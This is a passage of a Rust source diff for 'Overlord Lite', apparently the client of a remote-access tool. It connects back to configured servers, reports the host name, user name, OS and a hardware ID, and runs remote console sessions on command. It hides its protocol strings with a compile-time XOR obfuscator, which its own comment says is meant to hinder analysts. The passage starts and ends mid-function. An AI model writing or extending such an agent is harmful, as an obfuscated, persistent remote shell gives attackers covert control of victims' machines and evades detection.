use std::os::unix::fs::PermissionsExt;
|
||||
fs::set_permissions(path, fs::Permissions::from_mode(0o600))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn set_private_permissions(_path: &Path) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
extern crate self as overlord_lite;
|
||||
|
||||
pub use overlord_lite_string_obfuscator::obfstr;
|
||||
|
||||
pub mod config;
|
||||
pub mod console;
|
||||
pub mod identity;
|
||||
pub mod obfuscation;
|
||||
pub mod protocol;
|
||||
pub mod session;
|
||||
pub mod tls;
|
||||
@@ -0,0 +1,53 @@
|
||||
use anyhow::Result;
|
||||
use overlord_lite::{config::Config, identity::Identity, session};
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
let config = Config::from_env()?;
|
||||
let identity = Identity::load_or_create(&config.state_dir)?;
|
||||
|
||||
eprintln!(
|
||||
"Overlord Lite {} starting as {} (identity {})",
|
||||
env!("CARGO_PKG_VERSION"),
|
||||
identity.client_id,
|
||||
identity.fingerprint()
|
||||
);
|
||||
if config.insecure_tls {
|
||||
eprintln!("WARNING: TLS certificate verification is disabled");
|
||||
} else if !config.tls_spki_pins.is_empty() {
|
||||
eprintln!(
|
||||
"TLS server identity pinning enabled ({} trusted key{})",
|
||||
config.tls_spki_pins.len(),
|
||||
if config.tls_spki_pins.len() == 1 {
|
||||
""
|
||||
} else {
|
||||
"s"
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
let mut server_index = 0usize;
|
||||
loop {
|
||||
let server = &config.servers[server_index % config.servers.len()];
|
||||
eprintln!("connecting to {server}");
|
||||
|
||||
tokio::select! {
|
||||
result = session::run(&config, &identity, server) => {
|
||||
match result {
|
||||
Ok(()) => eprintln!("session ended"),
|
||||
Err(error) => eprintln!("session error: {error:#}"),
|
||||
}
|
||||
}
|
||||
_ = tokio::signal::ctrl_c() => {
|
||||
eprintln!("shutdown requested");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
server_index = (server_index + 1) % config.servers.len();
|
||||
tokio::select! {
|
||||
_ = tokio::time::sleep(config.reconnect_delay) => {}
|
||||
_ = tokio::signal::ctrl_c() => return Ok(()),
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
/// Reconstructs a string emitted by `obfstr!`.
|
||||
///
|
||||
/// `black_box` plus the non-inlined boundary keeps release LTO from replacing
|
||||
/// the call with a plaintext constant. This is binary obfuscation, not secret
|
||||
/// storage: a determined analyst can still recover strings from a running
|
||||
/// process or reverse the decoder.
|
||||
#[inline(never)]
|
||||
pub fn decrypt(encrypted: &[u8], seed: u64) -> String {
|
||||
let encrypted = std::hint::black_box(encrypted);
|
||||
let mut state = std::hint::black_box(seed | 1);
|
||||
let plaintext = encrypted
|
||||
.iter()
|
||||
.map(|byte| byte ^ next_key_byte(&mut state))
|
||||
.collect();
|
||||
String::from_utf8(plaintext).expect("obfstr generated invalid UTF-8")
|
||||
}
|
||||
|
||||
fn next_key_byte(state: &mut u64) -> u8 {
|
||||
*state ^= *state >> 12;
|
||||
*state ^= *state << 25;
|
||||
*state ^= *state >> 27;
|
||||
(state.wrapping_mul(0x2545_f491_4f6c_dd1d) >> 56) as u8
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use crate::obfstr;
|
||||
|
||||
#[test]
|
||||
fn decrypts_compile_time_string() {
|
||||
assert_eq!(
|
||||
obfstr!("overlord-obfuscation-marker"),
|
||||
"overlord-obfuscation-marker"
|
||||
);
|
||||
assert_eq!(obfstr!("Unicode: ☃"), "Unicode: ☃");
|
||||
assert!(obfstr!("").is_empty());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
use std::collections::BTreeMap;
|
||||
|
||||
use anyhow::{Context, Result, anyhow};
|
||||
use rmpv::Value;
|
||||
use serde::Serialize;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/wire_contract.rs"));
|
||||
|
||||
#[derive(Clone, Debug, Serialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct CommandVersionRange {
|
||||
pub min: u16,
|
||||
pub max: u16,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct Hello<'a> {
|
||||
#[serde(rename = "type")]
|
||||
pub message_type: &'static str,
|
||||
pub id: &'a str,
|
||||
pub hwid: &'a str,
|
||||
pub host: String,
|
||||
pub os: &'static str,
|
||||
pub arch: &'static str,
|
||||
pub version: &'static str,
|
||||
pub user: String,
|
||||
pub monitors: u8,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub build_tag: Option<&'a str>,
|
||||
pub public_key: &'a str,
|
||||
pub signature: &'a str,
|
||||
pub protocol_version: u16,
|
||||
pub command_versions: BTreeMap<String, CommandVersionRange>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
pub struct Ping {
|
||||
#[serde(rename = "type")]
|
||||
pub message_type: &'static str,
|
||||
pub ts: i64,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct CommandResult<'a> {
|
||||
#[serde(rename = "type")]
|
||||
pub message_type: &'static str,
|
||||
pub command_id: &'a str,
|
||||
pub command_type: &'a str,
|
||||
pub command_version: u16,
|
||||
pub ok: bool,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub message: Option<&'a str>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error_code: Option<&'a str>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Serialize)]
|
||||
#[serde(rename_all = "camelCase")]
|
||||
pub struct ConsoleOutput<'a> {
|
||||
#[serde(rename = "type")]
|
||||
pub message_type: &'static str,
|
||||
pub session_id: &'a str,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub data: Option<&'a serde_bytes::Bytes>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub exit_code: Option<i32>,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub error: Option<&'a str>,
|
||||
}
|
||||
|
||||
pub fn encode<T: Serialize>(value: &T) -> Result<Vec<u8>> {
|
||||
rmp_serde::to_vec_named(value).context("encode MessagePack")
|
||||
}
|
||||
|
||||
pub fn decode(bytes: &[u8]) -> Result<Value> {
|
||||
rmp_serde::from_slice(bytes).context("decode MessagePack")
|
||||
}
|
||||
|
||||
pub fn field<'a>(value: &'a Value, name: &str) -> Option<&'a Value> {
|
||||
value
|
||||
.as_map()?
|
||||
.iter()
|
||||
.find_map(|(key, value)| (key.as_str() == Some(name)).then_some(value))
|
||||
}
|
||||
|
||||
pub fn string_field<'a>(value: &'a Value, name: &str) -> Option<&'a str> {
|
||||
field(value, name)?.as_str()
|
||||
}
|
||||
|
||||
pub fn required_string<'a>(value: &'a Value, name: &str) -> Result<&'a str> {
|
||||
string_field(value, name).ok_or_else(|| anyhow!("missing or invalid {name}"))
|
||||
}
|
||||
|
||||
pub fn integer_field(value: &Value, name: &str) -> Option<i64> {
|
||||
let value = field(value, name)?;
|
||||
value
|
||||
.as_i64()
|
||||
.or_else(|| value.as_u64().and_then(|number| i64::try_from(number).ok()))
|
||||
}
|
||||
|
||||
pub fn command_versions() -> BTreeMap<String, CommandVersionRange> {
|
||||
lite_command_version_support()
|
||||
.into_iter()
|
||||
.map(|(command, min, max)| (command, CommandVersionRange { min, max }))
|
||||
.collect()
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn advertises_only_console_commands() {
|
||||
let commands = command_versions();
|
||||
assert_eq!(commands.len(), 4);
|
||||
for command in [
|
||||
"console_input",
|
||||
"console_resize",
|
||||
"console_start",
|
||||
"console_stop",
|
||||
] {
|
||||
let versions = commands.get(command).unwrap();
|
||||
assert_eq!(versions.min, 1);
|
||||
assert_eq!(versions.max, 1);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn messagepack_uses_wire_field_names() {
|
||||
let ping = Ping {
|
||||
message_type: "ping",
|
||||
ts: 123,
|
||||
};
|
||||
let decoded = decode(&encode(&ping).unwrap()).unwrap();
|
||||
assert_eq!(string_field(&decoded, "type"), Some("ping"));
|
||||
assert_eq!(integer_field(&decoded, "ts"), Some(123));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,521 @@
|
||||
use std::{
|
||||
sync::LazyLock,
|
||||
time::{Duration, SystemTime, UNIX_EPOCH},
|
||||
};
|
||||
|
||||
use crate::{
|
||||
config::{Config, ServerUrl},
|
||||
console::ConsoleHub,
|
||||
identity::Identity,
|
||||
obfstr,
|
||||
protocol::{self, CommandResult, Hello, Ping},
|
||||
tls,
|
||||
};
|
||||
use anyhow::{Context, Result, anyhow, bail};
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use rmpv::Value;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio_tungstenite::{
|
||||
MaybeTlsStream, WebSocketStream, connect_async_tls_with_config,
|
||||
tungstenite::{
|
||||
Message,
|
||||
client::IntoClientRequest,
|
||||
http::{HeaderName, HeaderValue},
|
||||
},
|
||||
};
|
||||
|
||||
type Socket = WebSocketStream<MaybeTlsStream<TcpStream>>;
|
||||
|
||||
static API_CLIENTS_PREFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/api/clients/"));
|
||||
static STREAM_WS_SUFFIX: LazyLock<String> = LazyLock::new(|| obfstr!("/stream/ws"));
|
||||
static ROLE_CLIENT: LazyLock<String> = LazyLock::new(|| obfstr!("role=client"));
|
||||
static WEBSOCKET_PROTOCOL_HEADER: LazyLock<String> =
|
||||
LazyLock::new(|| obfstr!("Sec-WebSocket-Protocol"));
|
||||
static AGENT_TOKEN_HEADER: LazyLock<String> = LazyLock::new(|| obfstr!("x-agent-token"));
|
||||
static BINARY_PROTOCOL: LazyLock<String> = LazyLock::new(|| obfstr!("binary"));
|
||||
static FIELD_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("type"));
|
||||
static FIELD_NONCE: LazyLock<String> = LazyLock::new(|| obfstr!("nonce"));
|
||||
static FIELD_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("status"));
|
||||
static FIELD_ID: LazyLock<String> = LazyLock::new(|| obfstr!("id"));
|
||||
static FIELD_COMMAND_TYPE: LazyLock<String> = LazyLock::new(|| obfstr!("commandType"));
|
||||
static FIELD_COMMAND_VERSION: LazyLock<String> = LazyLock::new(|| obfstr!("commandVersion"));
|
||||
static FIELD_PAYLOAD: LazyLock<String> = LazyLock::new(|| obfstr!("payload"));
|
||||
static FIELD_SESSION_ID: LazyLock<String> = LazyLock::new(|| obfstr!("sessionId"));
|
||||
static FIELD_DATA: LazyLock<String> = LazyLock::new(|| obfstr!("data"));
|
||||
static FIELD_COLS: LazyLock<String> = LazyLock::new(|| obfstr!("cols"));
|
||||
static FIELD_ROWS: LazyLock<String> = LazyLock::new(|| obfstr!("rows"));
|
||||
static FIELD_TS: LazyLock<String> = LazyLock::new(|| obfstr!("ts"));
|
||||
static ENROLLMENT_CHALLENGE: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_challenge"));
|
||||
static ENROLLMENT_STATUS: LazyLock<String> = LazyLock::new(|| obfstr!("enrollment_status"));
|
||||
static HELLO: LazyLock<String> = LazyLock::new(|| obfstr!("hello"));
|
||||
static HELLO_ACK: LazyLock<String> = LazyLock::new(|| obfstr!("hello_ack"));
|
||||
static PING: LazyLock<String> = LazyLock::new(|| obfstr!("ping"));
|
||||
static PONG: LazyLock<String> = LazyLock::new(|| obfstr!("pong"));
|
||||
static COMMAND: LazyLock<String> = LazyLock::new(|| obfstr!("command"));
|
||||
static COMMAND_RESULT: LazyLock<String> = LazyLock::new(|| obfstr!("command_result"));
|
||||
static CONSOLE_START: LazyLock<String> = LazyLock::new(|| obfstr!("console_start"));
|
||||
static CONSOLE_INPUT: LazyLock<String> = LazyLock::new(|| obfstr!("console_input"));
|
||||
static CONSOLE_RESIZE: LazyLock<String> = LazyLock::new(|| obfstr!("console_resize"));
|
||||
static CONSOLE_STOP: LazyLock<String> = LazyLock::new(|| obfstr!("console_stop"));
|
||||
static CLIENT_VERSION: LazyLock<String> =
|
||||
LazyLock::new(|| format!("{}{}", obfstr!("rust-lite/"), env!("CARGO_PKG_VERSION")));
|
||||
|
||||
pub async fn run(config: &Config, identity: &Identity, server: &ServerUrl) -> Result<()> {
|
||||
let socket_url = format!(
|
||||
"{}{}{}{}?{}",
|
||||
server.as_str().trim_end_matches('/'),
|
||||
API_CLIENTS_PREFIX.as_str(),
|
||||
identity.client_id,
|
||||
STREAM_WS_SUFFIX.as_str(),
|
||||
ROLE_CLIENT.as_str(),
|
||||
);
|
||||
|
||||
let mut request = socket_url.into_client_request()?;
|
||||
request.headers_mut().insert(
|
||||
HeaderName::from_bytes(WEBSOCKET_PROTOCOL_HEADER.as_bytes())?,
|
||||
HeaderValue::from_str(BINARY_PROTOCOL.as_str())?,
|
||||
);
|
||||
if let Some(token) = &config.agent_token {
|
||||
request.headers_mut().insert(
|
||||
HeaderName::from_bytes(AGENT_TOKEN_HEADER.as_bytes())?,
|
||||
HeaderValue::from_str(token)?,
|
||||
);
|
||||
}
|
||||
|
||||
let connector = tls::websocket_connector(config.insecure_tls, &config.tls_spki_pins);
|
||||
let (mut socket, _) = connect_async_tls_with_config(request, None, true, connector)
|
||||
.await
|
||||
.with_context(|| format!("connect to {server}"))?;
|
||||
|
||||
let first = tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
|
||||
.await
|
||||
.context("timed out waiting for enrollment challenge")??;
|
||||
let first_type = protocol::required_string(&first, FIELD_TYPE.as_str())?;
|
||||
let (public_key, signature, needs_ack) = if first_type == ENROLLMENT_CHALLENGE.as_str() {
|
||||
let nonce = protocol::required_string(&first, FIELD_NONCE.as_str())?;
|
||||
(
|
||||
identity.public_key_base64(),
|
||||
identity.sign_base64(nonce)?,
|
||||
true,
|
||||
)
|
||||
} else if first_type == HELLO_ACK.as_str() {
|
||||
(String::new(), String::new(), false)
|
||||
} else {
|
||||
bail!("unexpected first server message {first_type:?}")
|
||||
};
|
||||
|
||||
let hello = Hello {
|
||||
message_type: HELLO.as_str(),
|
||||
id: &identity.client_id,
|
||||
hwid: &identity.client_id,
|
||||
host: hostname(),
|
||||
os: wire_os(),
|
||||
arch: wire_arch(),
|
||||
version: CLIENT_VERSION.as_str(),
|
||||
user: username(),
|
||||
monitors: 0,
|
||||
build_tag: config.build_tag.as_deref(),
|
||||
public_key: &public_key,
|
||||
signature: &signature,
|
||||
protocol_version: protocol::WIRE_PROTOCOL_VERSION,
|
||||
command_versions: protocol::command_versions(),
|
||||
};
|
||||
send_value(&mut socket, &hello).await?;
|
||||
|
||||
if needs_ack {
|
||||
loop {
|
||||
let response =
|
||||
tokio::time::timeout(Duration::from_secs(30), receive_envelope(&mut socket))
|
||||
.await
|
||||
.context("timed out waiting for enrollment status")??;
|
||||
let response_type = protocol::required_string(&response, FIELD_TYPE.as_str())?;
|
||||
if response_type == HELLO_ACK.as_str() {
|
||||
break;
|
||||
} else if response_type == ENROLLMENT_STATUS.as_str() {
|
||||
let status =
|
||||
protocol::string_field(&response, FIELD_STATUS.as_str()).unwrap_or("unknown");
|
||||
bail!("enrollment status is {status}");
|
||||
} else if response_type == PING.as_str() {
|
||||
send_protocol_pong(&mut socket, &response).await?;
|
||||
} else if response_type != PONG.as_str() {
|
||||
bail!("unexpected enrollment response {response_type:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
eprintln!("authenticated and connected as {}", identity.client_id);
|
||||
send_value(
|
||||
&mut socket,
|
||||
&Ping {
|
||||
message_type: PING.as_str(),
|
||||
ts: now_millis(),
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
|
||||
let mut heartbeat =
|
||||
tokio::time::interval(config.heartbeat_interval.max(Duration::from_secs(1)));
|
||||
heartbeat.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
|
||||
heartbeat.tick().await;
|
||||
let (console_tx, mut console_rx) = tokio::sync::mpsc::channel(64);
|
||||
let mut consoles = ConsoleHub::new(console_tx);
|
||||
|
||||
loop {
|
||||
tokio::select! {
|
||||
_ = heartbeat.tick() => {
|
||||
send_value(&mut socket, &Ping { message_type: PING.as_str(), ts: now_millis() }).await?;
|
||||
}
|
||||
incoming = socket.next() => {
|
||||
let message = incoming.ok_or_else(|| anyhow!("server closed the WebSocket"))??;
|
||||
match message {
|
||||
Message::Binary(bytes) => {
|
||||
let envelope = protocol::decode(&bytes)?;
|
||||
handle_envelope(&mut socket, &mut consoles, &envelope).await?;
|
||||
}
|
||||
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
|
||||
Message::Pong(_) => {}
|
||||
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
|
||||
Message::Text(_) | Message::Frame(_) => {}
|
||||
}
|
||||
}
|
||||
output = console_rx.recv() => {
|
||||
if let Some(output) = output {
|
||||
socket.send(Message::Binary(output.into())).await?;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn handle_envelope(
|
||||
socket: &mut Socket,
|
||||
consoles: &mut ConsoleHub,
|
||||
envelope: &Value,
|
||||
) -> Result<()> {
|
||||
let message_type = protocol::required_string(envelope, FIELD_TYPE.as_str())?;
|
||||
if message_type == PING.as_str() {
|
||||
send_protocol_pong(socket, envelope).await?;
|
||||
} else if message_type == COMMAND.as_str() {
|
||||
handle_command(socket, consoles, envelope).await?;
|
||||
} else if message_type != PONG.as_str() && message_type != HELLO_ACK.as_str() {
|
||||
eprintln!("ignoring unsupported server message {message_type}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn handle_command(
|
||||
socket: &mut Socket,
|
||||
consoles: &mut ConsoleHub,
|
||||
envelope: &Value,
|
||||
) -> Result<()> {
|
||||
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
|
||||
if !is_console_command(command) {
|
||||
return send_unsupported_command(socket, envelope).await;
|
||||
}
|
||||
|
||||
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
|
||||
let command_version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
|
||||
.unwrap_or(1)
|
||||
.max(1) as u16;
|
||||
if command_version != 1 {
|
||||
return send_command_result(
|
||||
socket,
|
||||
command_id,
|
||||
command,
|
||||
command_version,
|
||||
false,
|
||||
Some("unsupported console command version"),
|
||||
Some("unsupported_command_version"),
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
let payload = protocol::field(envelope, FIELD_PAYLOAD.as_str()).unwrap_or(&Value::Nil);
|
||||
let session_id = protocol::string_field(payload, FIELD_SESSION_ID.as_str()).unwrap_or("");
|
||||
let result = if command == CONSOLE_START.as_str() {
|
||||
consoles.start(
|
||||
session_id,
|
||||
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
|
||||
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
|
||||
)
|
||||
} else if command == CONSOLE_INPUT.as_str() {
|
||||
if session_id.is_empty() {
|
||||
Ok(())
|
||||
} else {
|
||||
let data = protocol::string_field(payload, FIELD_DATA.as_str()).unwrap_or("");
|
||||
consoles.write(session_id, data)
|
||||
}
|
||||
} else if command == CONSOLE_RESIZE.as_str() {
|
||||
if session_id.is_empty() {
|
||||
Ok(())
|
||||
} else {
|
||||
consoles.resize(
|
||||
session_id,
|
||||
protocol::integer_field(payload, FIELD_COLS.as_str()).unwrap_or(0),
|
||||
protocol::integer_field(payload, FIELD_ROWS.as_str()).unwrap_or(0),
|
||||
)
|
||||
}
|
||||
} else {
|
||||
if !session_id.is_empty() {
|
||||
consoles.stop(session_id);
|
||||
}
|
||||
Ok(())
|
||||
};
|
||||
|
||||
match result {
|
||||
Ok(()) => send_command_result(socket, command_id, command, 1, true, None, None).await,
|
||||
Err(error) => {
|
||||
let message = error.to_string();
|
||||
send_command_result(
|
||||
socket,
|
||||
command_id,
|
||||
command,
|
||||
1,
|
||||
false,
|
||||
Some(&message),
|
||||
Some("console_error"),
|
||||
)
|
||||
.await
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_command_result(
|
||||
socket: &mut Socket,
|
||||
command_id: &str,
|
||||
command_type: &str,
|
||||
command_version: u16,
|
||||
ok: bool,
|
||||
message: Option<&str>,
|
||||
error_code: Option<&str>,
|
||||
) -> Result<()> {
|
||||
send_value(
|
||||
socket,
|
||||
&CommandResult {
|
||||
message_type: COMMAND_RESULT.as_str(),
|
||||
command_id,
|
||||
command_type,
|
||||
command_version,
|
||||
ok,
|
||||
message,
|
||||
error_code,
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn send_unsupported_command(socket: &mut Socket, envelope: &Value) -> Result<()> {
|
||||
let command = protocol::required_string(envelope, FIELD_COMMAND_TYPE.as_str())?;
|
||||
let command_id = protocol::string_field(envelope, FIELD_ID.as_str()).unwrap_or("");
|
||||
let version = protocol::integer_field(envelope, FIELD_COMMAND_VERSION.as_str())
|
||||
.unwrap_or(1)
|
||||
.max(1) as u16;
|
||||
send_value(
|
||||
socket,
|
||||
&CommandResult {
|
||||
message_type: COMMAND_RESULT.as_str(),
|
||||
command_id,
|
||||
command_type: command,
|
||||
command_version: version,
|
||||
ok: false,
|
||||
message: Some("command is not supported by Overlord Lite"),
|
||||
error_code: Some("unsupported_command"),
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
async fn receive_envelope(socket: &mut Socket) -> Result<Value> {
|
||||
loop {
|
||||
match socket
|
||||
.next()
|
||||
.await
|
||||
.ok_or_else(|| anyhow!("server closed the WebSocket"))??
|
||||
{
|
||||
Message::Binary(bytes) => return protocol::decode(&bytes),
|
||||
Message::Ping(bytes) => socket.send(Message::Pong(bytes)).await?,
|
||||
Message::Pong(_) | Message::Text(_) | Message::Frame(_) => {}
|
||||
Message::Close(frame) => bail!("server closed the session: {frame:?}"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_value<T: serde::Serialize>(socket: &mut Socket, value: &T) -> Result<()> {
|
||||
socket
|
||||
.send(Message::Binary(protocol::encode(value)?.into()))
|
||||
.await?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_protocol_pong(socket: &mut Socket, incoming: &Value) -> Result<()> {
|
||||
send_value(
|
||||
socket,
|
||||
&Ping {
|
||||
message_type: PONG.as_str(),
|
||||
ts: protocol::integer_field(incoming, FIELD_TS.as_str()).unwrap_or_else(now_millis),
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
fn is_console_command(command: &str) -> bool {
|
||||
command == CONSOLE_START.as_str()
|
||||
|| command == CONSOLE_INPUT.as_str()
|
||||
|| command == CONSOLE_RESIZE.as_str()
|
||||
|| command == CONSOLE_STOP.as_str()
|
||||
}
|
||||
|
||||
fn hostname() -> String {
|
||||
std::env::var(if cfg!(windows) {
|
||||
"COMPUTERNAME"
|
||||
} else {
|
||||
"HOSTNAME"
|
||||
})
|
||||
.ok()
|
||||
.filter(|value| !value.trim().is_empty())
|
||||
.unwrap_or_else(|| "unknown".to_owned())
|
||||
}
|
||||
|
||||
fn username() -> String {
|
||||
std::env::var(if cfg!(windows) { "USERNAME" } else { "USER" })
|
||||
.ok()
|
||||
.filter(|value| !value.trim().is_empty())
|
||||
.unwrap_or_else(|| "unknown".to_owned())
|
||||
}
|
||||
|
||||
fn wire_os() -> &'static str {
|
||||
match std::env::consts::OS {
|
||||
"macos" => "darwin",
|
||||
other => other,
|
||||
}
|
||||
}
|
||||
|
||||
fn wire_arch() -> &'static str {
|
||||
match std::env::consts::ARCH {
|
||||
"x86_64" => "amd64",
|
||||
"aarch64" => "arm64",
|
||||
"x86" => "386",
|
||||
other => other,
|
||||
}
|
||||
}
|
||||
|
||||
fn now_millis() -> i64 {
|
||||
SystemTime::now()
|
||||
.duration_since(UNIX_EPOCH)
|
||||
.unwrap_or_default()
|
||||
.as_millis() as i64
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||
use ed25519_dalek::{Signature, VerifyingKey};
|
||||
use tempfile::tempdir;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio_tungstenite::accept_hdr_async;
|
||||
|
||||
#[tokio::test]
|
||||
#[allow(clippy::result_large_err)] // Required by tungstenite's handshake callback signature.
|
||||
async fn authenticates_and_advertises_console_commands() {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
|
||||
let address = listener.local_addr().unwrap();
|
||||
let state = tempdir().unwrap();
|
||||
let identity = Identity::load_or_create(state.path()).unwrap();
|
||||
let server_url = ServerUrl::parse(&format!("ws://{address}")).unwrap();
|
||||
let config = Config {
|
||||
servers: vec![server_url.clone()],
|
||||
agent_token: Some("test-agent-token".to_owned()),
|
||||
build_tag: Some("test-build-tag".to_owned()),
|
||||
insecure_tls: true,
|
||||
tls_spki_pins: Vec::new(),
|
||||
state_dir: state.path().to_owned(),
|
||||
reconnect_delay: Duration::from_millis(1),
|
||||
heartbeat_interval: Duration::from_secs(60),
|
||||
};
|
||||
let expected_client_id = identity.client_id.clone();
|
||||
|
||||
let mock_server = tokio::spawn(async move {
|
||||
let (tcp, _) = listener.accept().await.unwrap();
|
||||
let mut socket = accept_hdr_async(tcp, |request: &tokio_tungstenite::tungstenite::handshake::server::Request, mut response: tokio_tungstenite::tungstenite::handshake::server::Response| {
|
||||
assert_eq!(request.headers()["x-agent-token"], "test-agent-token");
|
||||
assert!(request.uri().path().contains(&expected_client_id));
|
||||
response.headers_mut().insert("Sec-WebSocket-Protocol", HeaderValue::from_static("binary"));
|
||||
Ok(response)
|
||||
}).await.unwrap();
|
||||
|
||||
let nonce = [7u8; 32];
|
||||
let challenge = serde_json::json!({ "type": "enrollment_challenge", "nonce": STANDARD.encode(nonce) });
|
||||
socket
|
||||
.send(Message::Binary(
|
||||
protocol::encode(&challenge).unwrap().into(),
|
||||
))
|
||||
.await
|
||||
.unwrap();
|
||||
|
||||
let Message::Binary(hello_bytes) = socket.next().await.unwrap().unwrap() else {
|
||||
panic!("expected binary hello")
|
||||
};
|
||||
let hello = protocol::decode(&hello_bytes).unwrap();
|
||||
assert_eq!(protocol::string_field(&hello, "type"), Some("hello"));
|
||||
assert_eq!(
|
||||
protocol::string_field(&hello, "buildTag"),
|
||||
Some("test-build-tag")
|
||||
);
|
||||
assert_eq!(
|
||||
protocol::string_field(&hello, "version"),
|
||||
Some(concat!("rust-lite/", env!("CARGO_PKG_VERSION")))
|
||||
);
|
||||
let command_versions = protocol::field(&hello, "commandVersions")
|
||||
.unwrap()
|
||||
.as_map()
|
||||
.unwrap();
|
||||
assert_eq!(command_versions.len(), 4);
|
||||
for command in [
|
||||
"console_input",
|
||||
"console_resize",
|
||||
"console_start",
|
||||
"console_stop",
|
||||
] {
|
||||
assert!(
|
||||
command_versions
|
||||
.iter()
|
||||
.any(|(key, _)| key.as_str() == Some(command))
|
||||
);
|
||||
}
|
||||
|
||||
let public_key: [u8; 32] = STANDARD
|
||||
.decode(protocol::required_string(&hello, "publicKey").unwrap())
|
||||
.unwrap()
|
||||
.try_into()
|
||||
.unwrap();
|
||||
let signature = Signature::from_slice(
|
||||
&STANDARD
|
||||
.decode(protocol::required_string(&hello, "signature").unwrap())
|
||||
.unwrap(),
|
||||
)
|
||||
.unwrap();
|
||||
VerifyingKey::from_bytes(&public_key)
|
||||
.unwrap()
|
||||
.verify_strict(&nonce, &signature)
|
||||
.unwrap();
|
||||
|
||||
let ack = serde_json::json!({ "type": "hello_ack", "id": expected_client_id, "protocolVersion": 1 });
|
||||
socket
|
||||
.send(Message::Binary(protocol::encode(&ack).unwrap().into()))
|
||||
.await
|
||||
.unwrap();
|
||||
let Message::Binary(ping_bytes) = socket.next().await.unwrap().unwrap() else {
|
||||
panic!("expected initial ping")
|
||||
};
|
||||
assert_eq!(
|
||||
protocol::string_field(&protocol::decode(&ping_bytes).unwrap(), "type"),
|
||||
Some("ping")
|
||||
);
|
||||
socket.close(None).await.unwrap();
|
||||
});
|
||||
|
||||
assert!(run(&config, &identity, &server_url).await.is_err());
|
||||
mock_server.await.unwrap();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,259 @@
|
||||
use std::{fmt::Debug, sync::Arc};
|
||||
|
||||
use base64::{Engine as _, engine::general_purpose::STANDARD};
|
||||
use rustls::{
|
||||
ClientConfig, DigitallySignedStruct, RootCertStore, SignatureScheme,
|
||||
client::{
|
||||
WebPkiServerVerifier,
|
||||
danger::{HandshakeSignatureValid, ServerCertVerified, ServerCertVerifier},
|
||||
},
|
||||
crypto::CryptoProvider,
|
||||
pki_types::{CertificateDer, ServerName, UnixTime},
|
||||
};
|
||||
use sha2::{Digest, Sha256};
|
||||
use tokio_tungstenite::Connector;
|
||||
|
||||
pub fn websocket_connector(insecure: bool, pins: &[[u8; 32]]) -> Option<Connector> {
|
||||
custom_client_config(insecure, pins).map(|config| Connector::Rustls(Arc::new(config)))
|
||||
}
|
||||
|
||||
fn custom_client_config(insecure: bool, pins: &[[u8; 32]]) -> Option<ClientConfig> {
|
||||
if !insecure && pins.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let provider = Arc::new(rustls::crypto::ring::default_provider());
|
||||
